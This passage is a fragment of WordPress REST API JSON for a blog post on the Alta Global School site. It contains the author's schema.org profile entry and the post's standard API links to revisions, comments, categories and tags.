Habibah","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g","caption":"Nurul Habibah"},"url":"https:\/\/www.altaglobalschool.com\/blog\/author\/nurul-habibah"}]}},"_links":{"self":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/319","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/users\/22"}],"replies":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/comments?post=319"}],"version-history":[{"count":5,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/319\/revisions"}],"predecessor-version":[{"id":1879,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/319\/revisions\/1879"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/319"}],"wp:attachment":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/media?parent=319"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/categories?post=319"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/tags?post=319"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}